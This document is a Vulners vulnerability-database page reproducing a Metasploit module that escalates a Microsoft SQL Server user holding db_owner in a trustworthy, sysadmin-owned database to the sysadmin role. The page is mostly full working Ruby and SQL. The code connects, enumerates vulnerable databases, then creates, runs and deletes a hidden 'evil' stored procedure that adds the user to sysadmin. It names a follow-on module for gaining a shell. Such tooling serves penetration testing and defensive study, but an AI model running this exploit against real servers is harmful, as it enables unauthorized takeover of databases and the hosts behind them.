Lucene search
K

Microsoft SQL Server Escalate Db_Owner

🗓️ 26 Sep 2014 15:29:35Reported by nullbind <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 19 Views

This module escalates privileges in Microsoft SQL Server to sysadmin by exploiting the db_owner role in a trustworthy database owned by a sysadmin user, thus enabling the use of the msssql_payload module to gain a shell on the system

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::MSSQL
  include Msf::OptionalSession::MSSQL

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SQL Server Escalate Db_Owner',
      'Description'    => %q{
        This module can be used to escalate privileges to sysadmin if the user has
        the db_owner role in a trustworthy database owned by a sysadmin user.  Once
        the user has the sysadmin role the msssql_payload module can be used to obtain
        a shell on the system.
      },
      'Author'         => [ 'nullbind <scott.sutherland[at]netspi.com>'],
      'License'        => MSF_LICENSE,
      'References'     => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
    ))
  end

  def run
    # Check connection and issue initial query
    if session
      set_mssql_session(session.client)
    else
      print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
      if mssql_login_datastore
        print_good('Connected.')
      else
        print_error("Login was unsuccessful. Check your credentials.")
        disconnect
        return
      end
    end

    # Query for sysadmin status
    print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
    user_status = check_sysadmin

    # Check if user has sysadmin role
    if user_status == 1
      print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
      disconnect
      return
    else
      print_status("You're NOT a sysadmin, let's try to change that")
    end

    # Check for trusted databases owned by sysadmins
    print_status("Checking for trusted databases owned by sysadmins...")
    trust_db_list = check_trust_dbs
    if trust_db_list.nil? || trust_db_list.length == 0
      print_error('No databases owned by sysadmin were found flagged as trustworthy.')
      disconnect
      return
    else
      # Display list of accessible databases to user
      print_good("#{trust_db_list.length} affected database(s) were found:")
      trust_db_list.each do |db|
        print_status(" - #{db[0]}")
      end
    end

    # Check if the user has the db_owner role in any of the databases
    print_status('Checking if the user has the db_owner role in any of them...')
    dbowner_status = check_db_owner(trust_db_list)
    if dbowner_status.nil?
      print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
      disconnect
      return
    end

    # Attempt to escalate to sysadmin
    print_status("Attempting to escalate in #{dbowner_status}!")
    escalate_status = escalate_privs(dbowner_status)
    if escalate_status
      # Check if escalation was successful
      user_status = check_sysadmin
      if user_status == 1
        print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
      else
        print_error("Fail buckets, something went wrong.")
      end
    else
      print_error("Error while trying to escalate status")
    end

    disconnect
    return
  end

  # Checks if user is already sysadmin
  def check_sysadmin
    # Setup query to check for sysadmin
    sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"

    # Run query
    result = mssql_query(sql)

    # Parse query results
    parse_results = result[:rows]
    status = parse_results[0][0]

    # Return status
    return status
  end

  # Gets trusted databases owned by sysadmins
  def check_trust_dbs
    # Setup query
    sql = "SELECT d.name AS DATABASENAME
    FROM sys.server_principals r
    INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
    INNER JOIN sys.server_principals p ON
    p.principal_id = m.member_principal_id
    inner join sys.databases d on suser_sname(d.owner_sid) = p.name
    WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"

    result = mssql_query(sql)

    # Return on success
    return result[:rows]
  end

  # Checks if user has the db_owner role
  def check_db_owner(trust_db_list)
    # Check if the user has the db_owner role is any databases
    trust_db_list.each do |db|
      # Setup query
      sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
      from [#{db[0]}].sys.database_role_members drm
      join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
      join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
      where rp.name = 'db_owner' and mp.name = SYSTEM_USER"

      # Run query
      result = mssql_query(sql)

      # Parse query results
      parse_results = result[:rows]
      if parse_results && parse_results.any?
        print_good("- db_owner on #{db[0]} found!")
        return db[0]
      end
    end

    nil
  end

  def escalate_privs(dbowner_db)
    print_status("#{dbowner_db}")
    # Create the evil stored procedure WITH EXECUTE AS OWNER
    evil_sql_create = "use #{dbowner_db};
    DECLARE @myevil as varchar(max)
    set @myevil = '
    CREATE PROCEDURE sp_elevate_me
    WITH EXECUTE AS OWNER
    as
    begin
    EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''
    end';
    exec(@myevil);
    select 1;"
    mssql_query(evil_sql_create)

    # Run the evil stored procedure
    evilsql_run = "use #{dbowner_db};
    DECLARE @myevil2 as varchar(max)
    set @myevil2 = 'EXEC sp_elevate_me'
    exec(@myevil2);"
    mssql_query(evilsql_run)

    # Remove evil procedure
    evilsql_remove = "use #{dbowner_db};
    DECLARE @myevil3 as varchar(max)
    set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
    exec(@myevil3);"
    mssql_query(evilsql_remove)

    true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation